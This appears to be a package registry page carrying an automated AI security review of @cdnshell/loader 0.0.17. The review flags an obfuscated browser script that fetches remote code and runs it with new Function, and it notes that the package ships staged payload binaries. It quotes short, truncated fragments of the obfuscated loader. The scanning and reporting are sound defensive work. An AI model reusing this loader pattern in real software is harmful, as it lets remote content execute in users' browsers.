registry / @cdnshell/loader / 0.0.17

@cdnshell/loader@0.0.17

AI Security Review

scanned 2d ago · by lpm-firewall-ai

No install-time execution is configured. If a consumer manually loads a12i5u6l.js in a browser, it fetches and Function-executes remotely supplied module text; bundled native payloads are not referenced by package code.

Static reason

One or more suspicious static signals were detected.

Trigger

Manual browser loading of a12i5u6l.js

Impact

Remote content can execute in the loaded page context.

Mechanism

remote JavaScript module fetch and Function execution

Rationale

The package contains a concrete remote-code loader and opaque staged payloads, but no npm-triggered execution or fixed exfiltration chain. Treat it as an inert staged payload carrier requiring a warning.

Evidence

package.jsona12i5u6l.js03_payloads03_payloads/agent_a64e_90/plain.bin

Decision evidence

public snapshot

AI called this Suspicious at 91.0% confidence as Dangerous Capability with low false-positive risk.

Evidence for warning

Obfuscated browser script fetches module text and executes it with Function.
Script auto-bootstraps when loaded in a browser.
Package contains 19 opaque native payload binaries, including agent and stager variants.

Evidence against

package.json has no lifecycle scripts or executable entrypoint fields.
No source link invokes the JavaScript or payload binaries during installation or import.
No fixed network host or credential-harvesting logic was established.

Behavioral surface

Source

EvalNetwork

Supply chain

HighEntropyStringsMinifiedObfuscatedTrivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 33.8 KB of source

Source & flagged code

4 flagged

a12i5u6l.jsView file

1(function(_0x546ae1,_0x258573){const _0x3097e=_0x556b,_0x1f0d7c=_0x546ae1();while(!![]){try{const _0x574714=parseInt(_0x3097e(0xc4))/0x1+-parseInt(_0x3097e(0xde))/0x2*(-parseInt(_0...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

a12i5u6l.jsView on unpkg · L1

1const _0x52b6f4=_0x21b9e3=>new Function(_0x21b9e3)()

Medium

Ai Review Evidence

Obfuscated browser script fetches module text and executes it with Function.

a12i5u6l.jsView on unpkg · L1

1typeof document&&_0x2399b4[_0x24824c(0xa6)](_0x1e8f7e)

Medium

Ai Review Evidence

Script auto-bootstraps when loaded in a browser.

a12i5u6l.jsView on unpkg · L1

1(function(_0x546ae1,_0x258573){const _0x3097e=_0x556b,_0x1f0d7c=_0x546ae1();while(!![]){try{const _0x574714=parseInt(_0x3097e(0xc4))/0x1+-parseInt(_0x3097e(0xde))/0x2*(-parseInt(_0...

Low

Eval

Package source references a known benign dynamic code generation pattern.

a12i5u6l.jsView on unpkg · L1

Source & flagged code

4 flagged · loading source

a12i5u6l.jsView file

1(function(_0x546ae1,_0x258573){const _0x3097e=_0x556b,_0x1f0d7c=_0x546ae1();while(!![]){try{const _0x574714=parseInt(_0x3097e(0xc4))/0x1+-parseInt(_0x3097e(0xde))/0x2*(-parseInt(_0...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

a12i5u6l.jsView on unpkg · L1

1const _0x52b6f4=_0x21b9e3=>new Function(_0x21b9e3)()

Medium

Ai Review Evidence

Obfuscated browser script fetches module text and executes it with Function.

a12i5u6l.jsView on unpkg · L1

1typeof document&&_0x2399b4[_0x24824c(0xa6)](_0x1e8f7e)

Medium

Ai Review Evidence

Script auto-bootstraps when loaded in a browser.

a12i5u6l.jsView on unpkg · L1

1(function(_0x546ae1,_0x258573){const _0x3097e=_0x556b,_0x1f0d7c=_0x546ae1();while(!![]){try{const _0x574714=parseInt(_0x3097e(0xc4))/0x1+-parseInt(_0x3097e(0xde))/0x2*(-parseInt(_0...

Findings

2 High4 Medium2 Low

HighObfuscated Payload Loadera12i5u6l.js

HighObfuscated

MediumNetwork

MediumStructural Risk Force Deep Review

MediumAi Review Evidencea12i5u6l.js

LowEvala12i5u6l.js

LowHigh Entropy Strings